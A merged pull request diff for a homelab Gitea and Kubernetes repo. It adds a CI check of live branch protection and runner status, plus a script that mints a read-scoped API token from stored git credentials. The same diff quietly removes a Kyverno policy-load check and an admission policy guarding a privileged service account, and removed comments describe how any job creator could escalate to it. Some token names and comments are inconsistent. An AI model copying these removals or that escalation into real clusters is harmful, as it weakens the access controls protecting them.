Merge pull request 'fix(ci): the settings token could never have been stored' (#15) from fix/secret-name-and-require-gitea-settings into main

Reviewed-on: #15
Reviewed-by: Keith Jackson <[email protected]>

.gitea/workflows/gate.yml

@@ -110,9 +110,27 @@ jobs:
       # UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
       # tolerated exit 3 are explained in the file header; the tolerance covers exactly one
       # thing, the unverifiable spec repo, and nothing else can produce a 3 here.
+      # GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
+      # OWN database (branch protection + runner registration) — the blind spot that let `main`
+      # sit unprotected with zero runners for a month while this repo recorded both as working.
+      # Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
+      #
+      # WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
+      # (spec-immutability). It now also covers gitea-settings skipping when that secret is
+      # absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
+      # every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
+      # exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
+      # tolerance narrows back to spec-immutability alone.
       - name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
         env:
           GATE_STRICT_SKIPS: "true"
+          SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
+          # ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
+          # UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
+          # skipping, this line turns that into a failure and the PR goes red instead of
+          # merging. Green here means the token resolved and the live Gitea matched the
+          # declaration in infra/gitea/expected-branch-protection.json.
+          REQUIRE_GITEA_SETTINGS: "true"
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

ci/Makefile

@@ -32,6 +32,9 @@ render-golden: ## render==golden: canonical render reproduces committed apps/ (n
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
+	@./gitea-settings.sh
+
 conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
 	@"$(CI_DIR)conformance.sh"
 

ci/gate.sh

@@ -112,6 +112,7 @@ run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
 echo >&2
@@ -188,6 +189,31 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
+# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
+# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
+# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
+# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
+# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
+# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
+# token is wired, and the skip becomes a block as it should.
+case "${OUTCOME[gitea-settings]}" in
+  fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
+  skip)
+    if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
+      err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
+      summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
+      BLOCK=1
+    else
+      warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
+      warn "  registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
+      warn "  (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
+      summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
+      NOT_ESTABLISHED+=("gitea-settings")
+    fi ;;
+  pass) ok "gitea-settings: green" ;;
+esac
+
 # L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
 # unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
 # degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a

ci/gitea-settings.sh

@@ -0,0 +1,126 @@
+#!/usr/bin/env bash
+# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
+# match what git declares.
+#
+# WHY THIS STAGE EXISTS AT ALL
+# ----------------------------
+# Every other check in this repo reads the repository, the rendered manifests, or the
+# cluster. NONE of them can see Gitea's own database — and that is where branch
+# protection and runner registration live. On 2026-09-29 that blind spot was measured:
+#
+#   * `main` had NO branch protection, and
+#   * ZERO Actions runners were registered,
+#
+# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
+# and human in the loop repeated that claim because the repository said so. PR #1 — the
+# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
+# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
+# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
+# merged with zero approvals recorded against `required_approvals: 1`.
+#
+# Three separate failures, one shape: a setting that READ as enforced while not being, with
+# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
+# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
+#
+# WHAT IT ASSERTS
+#   1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
+#      LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
+#   2. at least `.runners_online_min` Actions runners report status "online".
+#
+# (2) is not decoration. A required status check with no runner is the deadlock this repo
+# nearly walked into: every PR pends forever, including the one that would fix it.
+#
+# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
+# `protected`, `enable_status_check` and `required_approvals` but NOT
+# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
+# only account that merges. This stage queries /branch_protections/ deliberately.
+#
+# EXIT CODES (the gate contract)
+#   0  live Gitea matches the declaration
+#   1  DIVERGENCE — something drifted, or was never applied. Blocks the merge.
+#   3  SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
+#      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
+#      that an unwired credential cannot lock the repository.
+#
+# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
+# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
+# the drift it exists to catch is still undetected.
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: Gitea platform settings match the declaration"
+
+DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
+# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
+# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
+# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
+# it looked like it had worked. A token was minted, no secret existed, and this stage would
+# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+
+[ -f "$DECL" ] || die "declaration missing: ${DECL}"
+require_tool jq
+require_tool curl
+
+if [ -z "$TOKEN" ]; then
+  skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
+  skip "  Branch protection and runner registration are therefore UNVERIFIED. They were"
+  skip "  wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
+  summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+  exit 3
+fi
+
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+BRANCH="$(jq -r '.branch' "$DECL")"
+LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
+if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
+  skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
+  skip "  lacks permission). Not treating this as a pass."
+  summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
+  exit 3
+fi
+
+RC=0
+
+# --- 1. every declared protection key must match the live rule, exactly ---------------
+while IFS= read -r key; do
+  want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
+  got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
+  if [ "$want" = "$got" ]; then
+    ok "  ${key} = ${got}"
+  else
+    err "  ${key}: DECLARED ${want} but LIVE is ${got}"
+    RC=1
+  fi
+done < <(jq -r '.protection | keys[]' "$DECL")
+
+# --- 2. a runner must actually be online ----------------------------------------------
+MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
+RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
+N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
+if [ "${N:-0}" -ge "$MIN" ]; then
+  ok "  runners online: ${N} (>= ${MIN})"
+else
+  err "  runners online: ${N}, DECLARED minimum ${MIN}."
+  err "  A required status check with no runner leaves every PR pending forever —"
+  err "  including the PR that would fix it. This is the 2026-09-29 outage condition."
+  RC=1
+fi
+
+if [ "$RC" -eq 0 ]; then
+  ok "Gitea settings match the declaration."
+  summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
+else
+  err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
+  err "  Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
+  err "  state is what you now want, change the DECLARATION in the same commit — deliberately."
+  summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
+fi
+exit "$RC"

ci/l0.sh

@@ -79,37 +79,12 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  if kyverno test "$l0_render"; then
-  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+    ok "Kyverno L0 policy tests passed"
-  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+    summary "- kyverno-l0: **passed**"
-  #
-  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
-  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
-  # rows came back `Skip / Invalid Policy`, and the summary read:
-  #     Test Summary: 9 tests passed and 0 tests failed
-  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
-  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
-  #
-  # This is not specific to that policy: a typo in restrict-host-namespaces or
-  # secret-provenance would silently disable it and the gate would stay green. Scan the
-  # output for the load failure the exit code hides.
-  l0_kout="$(mktemp)"
-  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
-    if grep -q 'Invalid Policy' "$l0_kout"; then
-      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
-      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
-      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
-      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
-      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
-      rc=1
-    else
-      ok "Kyverno L0 policy tests passed"
-      summary "- kyverno-l0: **passed**"
-    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
-  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

clusters/base/conformance.yaml

@@ -1,31 +0,0 @@
----
-# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
-#
-# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
-# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
-# meant to verify is worse than no harness.
-#
-# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
-# waves needs it.
-#
-# NOTE: this reconciles RBAC that is INERT until
-# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
-# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
-# trigger identity can exist while the policy bounding it does not.
-apiVersion: kustomize.toolkit.fluxcd.io/v1
-kind: Kustomization
-metadata:
-  name: conformance
-  namespace: flux-system
-spec:
-  interval: 10m
-  retryInterval: 2m
-  timeout: 5m
-  prune: true
-  wait: false
-  dependsOn:
-    - name: platform-config
-  sourceRef:
-    kind: GitRepository
-    name: flux-system
-  path: ./conformance/incluster

clusters/base/kustomization.yaml

@@ -33,7 +33,6 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
-  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

conformance/incluster/kustomization.yaml

@@ -1,14 +0,0 @@
-# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
-#
-# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
-# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
-# reconciling it would create a permanent Job object and fight the trigger for ownership.
-#
-# The identities here are inert without
-# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
-# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
-# half — see the header of rbac.yaml.
-apiVersion: kustomize.config.k8s.io/v1beta1
-kind: Kustomization
-resources:
-  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,68 +174,3 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
----
-# =============================================================================
-# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
-#
-# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
-# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
-# that can `create jobs` in this namespace can create a Job with
-# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
-# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
-# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
-# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
-# access") while appearing to satisfy it.
-#
-# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
-# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
-# THIS ServiceAccount only when they match the committed conformance shape. This Role is
-# the necessary half; that policy is the sufficient half. Neither works alone — do not
-# grant this Role without that policy reconciled and ENFORCING.
-#
-# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
-# =============================================================================
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: conformance-trigger
-  namespace: conformance
-  labels:
-    app.kubernetes.io/part-of: conformance
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: conformance-trigger
-  namespace: conformance
-  labels:
-    app.kubernetes.io/part-of: conformance
-rules:
-  # Create the run, and watch it to completion.
-  - apiGroups: [batch]
-    resources: [jobs]
-    verbs: [create, get, list, watch]
-  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
-  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
-  # them from the log, so no execution channel into the runner pod is ever granted.
-  - apiGroups: [""]
-    resources: [pods, pods/log]
-    verbs: [get, list, watch]
-  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
-  # failed run), no secrets, no configmaps, no exec, no create on pods.
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: conformance-trigger
-  namespace: conformance
-  labels:
-    app.kubernetes.io/part-of: conformance
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: conformance-trigger
-subjects:
-  - kind: ServiceAccount
-    name: conformance-trigger
-    namespace: conformance

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -216,20 +216,6 @@ def is_literal_base(host: str) -> bool:
 DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
                   "runbooks", "clusters", "bootstrap", "catalog")
 
-# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
-# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
-# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
-# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
-# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
-# routes and make (8) demand the operator's dashboard link them.
-#
-# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
-# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
-# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
-# hostname-publishing Service. If that ever stops being true the check fails and the tree must
-# become a real delivery root.
-NON_SERVING_RECONCILED = ("conformance/incluster",)
-
 
 def tracked_yaml() -> list[Path]:
     out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -276,31 +262,12 @@ flux_ks = [(p, d) for p, d in docs_all()
 # a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
 # a path of them would fail on a file that is correct.
 reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
-def _reconciled_path(d):
-    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
-
-
 unscanned = sorted({
     f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
     for p, d in reconcilers
-    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
-    and _reconciled_path(d) not in NON_SERVING_RECONCILED
+    not in DELIVERY_ROOTS
 })
-
-# The exemption's own guard: an exempted tree must actually serve nothing.
-exempt_serving = sorted({
-    f"{p.relative_to(ROOT)} ({d.get('kind')})"
-    for p, d in docs_all()
-    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
-    and (d.get("kind") == "HTTPRoute"
-         or (d.get("kind") == "Service"
-             and any("hostname" in str(k).lower()
-                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
-})
-check(not exempt_serving,
-      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
-      f"gains a route would hide a service from this check entirely "
-      f"{exempt_serving if exempt_serving else ''}")
 check(len(reconcilers) >= 10 and not unscanned,
       f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
       f"reconciled tree this check does not read is a service it cannot require a link for "

infra/gitea/README.md

@@ -86,6 +86,32 @@ enabling enforcement and probing the push. `require-gate.sh` is the enforcement
 
 Re-run `verify-then-enforce.sh` after any future change to the act-runner Deployment.
 
+### `expected-branch-protection.json` + `ci/gitea-settings.sh` — the detector
+
+`expected-branch-protection.json` **declares** the desired rule. `ci/gitea-settings.sh` runs as
+a merge-gate stage, reads the LIVE rule, and **fails the gate on any divergence** — plus asserts
+at least one runner is online. It is the only thing in this repository that can see Gitea's own
+database.
+
+It reads `/branch_protections/main`, not `/branches/main`: the branch view does **not** expose
+`block_admin_merge_override`, and it showed all-green for hours while the rule was overridable.
+
+Behaviour, proven by test rather than assumed:
+
+| Situation | Exit | Effect |
+|---|---|---|
+| live matches the declaration | 0 | green |
+| any key drifted, or no runner online | 1 | **blocks the merge** |
+| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+
+The skip is deliberately *not* a block: an unwired credential blocking every PR is the
+lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
+the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS=true` in
+`gate.yml` so a future missing token blocks instead of skipping.
+
+**Changing the declaration is how you change policy.** If the live state is what you now want,
+edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
+
 ### Why these scripts exist at all, and what is still missing
 
 Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -94,10 +120,12 @@ the root cause of the entire 2026-09-29 session: branch protection was off and t
 gone for a month while the log recorded both as working, and **no check existed that could
 have caught it.**
 
-These scripts encode the desired state and can re-assert it, but they are not a detector. The
+These scripts encode the desired state and can re-assert it; `ci/gitea-settings.sh` above is the
-durable fix is a conformance check that reads the live Gitea API and fails when it diverges
+**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
-from what is declared here — turning a class of silent, invisible failure into a loud one.
+root cause of the 2026-09-29 session.
-**That check does not exist yet and is the highest-value remaining work in this directory.**
+
+It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
+detector detects nothing. That is the remaining step.
 
 ## Historical sequence (kept for context)
 

infra/gitea/expected-branch-protection.json

@@ -0,0 +1,20 @@
+{
+  "_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
+  "_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
+  "branch": "main",
+  "runners_online_min": 1,
+  "protection": {
+    "enable_push": false,
+    "enable_push_whitelist": false,
+    "enable_merge_whitelist": false,
+    "enable_status_check": true,
+    "status_check_contexts": [
+      "gate / gate (pull_request)"
+    ],
+    "required_approvals": 1,
+    "enable_approvals_whitelist": false,
+    "block_admin_merge_override": true,
+    "block_on_rejected_reviews": true,
+    "dismiss_stale_approvals": true
+  }
+}

infra/gitea/set-ci-token.sh

@@ -0,0 +1,56 @@
+#!/usr/bin/env bash
+# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
+# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
+#
+# The token value is NEVER printed. It goes from the token API into the secrets API and
+# nowhere else -- not to stdout, not to a file, not into an agent transcript.
+#
+# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
+# runner list). Gitea token scopes are coarse; grant the least that works on your version and
+# confirm the check goes green rather than assuming the scope name.
+set -euo pipefail
+HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
+# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
+# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
+# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
+SECRET=SETTINGS_API_TOKEN
+NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+
+echo "==> minting token '${NAME}' as ${U}"
+TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
+  -d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
+  "https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
+[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
+echo "==> got a ${#TOKEN}-character token (value not shown)"
+
+echo "==> storing it as repo Actions secret ${SECRET}"
+code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
+  -d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
+  "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
+unset TOKEN
+if [ "$code" != 201 ] && [ "$code" != 204 ]; then
+  echo "   PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
+  rm -f /tmp/set-ci-token.out; exit 1
+fi
+rm -f /tmp/set-ci-token.out
+
+# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
+# reports success for a store that never happened -- which is exactly what it did.
+names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
+        | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
+grep -q "$SECRET" <<<"$names" \
+  || { echo "   stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
+echo "==> stored and VERIFIED present: ${names}"
+
+cat <<'NOTE'
+
+Next:
+  1. .gitea/workflows/gate.yml already passes this secret to the gate step.
+  2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
+     without the token, so a green run is the only proof the wiring works.
+  3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
+     instead of skipping. Do that only after you have seen it green, or you lock the repo.
+NOTE

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -1,144 +0,0 @@
-# Serves: R-SEC-02 (CI holds no broad cluster access)
-#
-# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
-#
-# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
-# `create jobs` in namespace `conformance` can therefore create a Job that runs as
-# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
-# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
-# privileged identity unless something constrains the SHAPE of what it may create.
-#
-# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
-# committed conformance run and deny everything else. The operator chose this model
-# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
-# GitOps-native alternative.
-#
-# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
-# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
-# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
-# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
-# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
-#
-# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
-# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
-#
-# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
-# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
-# enforceable half: the image must live under the conformance repository path AND be
-# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
-# registry path could publish a different digest. TIGHTEN THIS when the image is built by
-# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
-# PR, which is exactly where a change to the security boundary belongs.
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: conformance-trigger-job-shape
-  annotations:
-    policies.kyverno.io/title: Constrain what the conformance CI trigger may create
-    policies.kyverno.io/category: Supply chain
-    policies.kyverno.io/severity: critical
-    homelab.keithjackson.dev/requirements: R-SEC-02
-    homelab.keithjackson.dev/scope: admission-only
-spec:
-  validationFailureAction: Enforce
-  failurePolicy: Fail
-  background: false
-  rules:
-    - name: trigger-may-create-only-the-committed-conformance-run
-      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
-      # As two separate `all` entries it is a schema error ("match resources not specified")
-      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
-      match:
-        all:
-          - resources:
-              kinds:
-                - Job
-              namespaces:
-                - conformance
-            subjects:
-              - kind: ServiceAccount
-                name: conformance-trigger
-                namespace: conformance
-      validate:
-        message: >-
-          conformance-trigger may create ONLY the committed conformance run: a single container,
-          digest-pinned conformance-runner image, serviceAccountName conformance-runner,
-          command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
-          and only the `workspace` and `results` volumes. See
-          platform/kyverno/admission/conformance-trigger-job-shape.yaml.
-        pattern:
-          spec:
-            template:
-              spec:
-                serviceAccountName: conformance-runner
-                =(hostNetwork): "false"
-                =(hostPID): "false"
-                =(hostIPC): "false"
-                containers:
-                  - image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
-                    command:
-                      - "./run.sh"
-                    securityContext:
-                      runAsNonRoot: true
-                      allowPrivilegeEscalation: false
